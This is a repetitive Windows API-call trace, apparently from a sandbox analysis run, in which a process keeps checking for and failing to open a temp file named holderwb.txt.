	[0098.840] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.840] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.840] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.918] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.918] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.918] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.918] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.918] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.918] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.918] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.919] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.919] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.919] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.919] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.919] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.920] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.920] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.920] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.920] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.920] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.921] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.921] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.921] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.921] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.922] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.922] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.922] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.922] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.922] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.922] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.922] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.923] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.923] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.923] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.923] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.923] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.923] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.923] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.924] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.924] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.924] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.924] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.925] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.925] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.926] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.926] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.926] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.926] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.926] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.926] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.926] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.927] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.927] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.927] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.927] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.927] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.927] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.927] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.928] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.928] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.928] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.928] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.928] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.928] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.928] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.929] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.929] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.929] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.929] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.930] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.930] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.930] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.931] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.931] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.931] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.931] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
